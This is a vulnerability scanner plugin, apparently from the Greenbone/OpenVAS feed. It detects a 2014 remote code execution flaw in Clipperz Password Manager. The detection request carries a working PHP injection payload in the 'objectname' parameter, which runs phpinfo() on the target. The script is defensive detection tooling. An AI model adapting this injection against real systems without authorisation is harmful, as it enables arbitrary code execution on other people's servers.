Clipperz Password Manager RCE Vulnerability (May 2014) - Active Check

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804607");
  script_version("2025-11-11T05:40:18+0000");
  script_tag(name:"last_modification", value:"2025-11-11 05:40:18 +0000 (Tue, 11 Nov 2025)");
  script_tag(name:"creation_date", value:"2014-05-26 14:49:09 +0530 (Mon, 26 May 2014)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_tag(name:"qod_type", value:"remote_app");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Clipperz Password Manager RCE Vulnerability (May 2014) - Active Check");

  # nb: The done injection requests might be already seen as an attack...
  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl",
                      "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl",
                      "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Clipperz Password Manager is prone to a remote code execution
  (RCE) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"Input passed via the 'objectname' parameter is not properly
  sanitized upon submission to the /backend/php/src/setup/rpc.php script.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
  php code.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"https://packetstorm.news/files/id/126713");
  script_xref(name:"URL", value:"https://web.archive.org/web/20210122034655/http://www.securityfocus.com/bid/67498");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("port_service_func.inc");

port = http_get_port(default: 80);

if (!http_can_host_php(port: port))
  exit(0);

foreach dir (make_list_unique("/", "/clipperz", "/password-manager-master", "/pass-mgr", http_cgi_dirs(port: port))) {
  if (dir == "/")
    dir = "";

  res = http_get_cache(port: port, item: dir + "/beta/index.html");
  if (!res || res !~ "^HTTP/1\.[01] 200" || ">Clipperz" >!< res)
    continue;

  url = dir + "/backend/php/src/setup/rpc.php?objectname=Xmenu();print_r(phpinfo());die";

  req = http_get(port: port, item: url);
  res = http_keepalive_send_recv(port: port, data: req);

  if (res && concl = http_check_for_phpinfo_output(data: res)) {
    report = http_report_vuln_url(port: port, url: url);
    report += '\nConcluded from:\n' + concl;
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);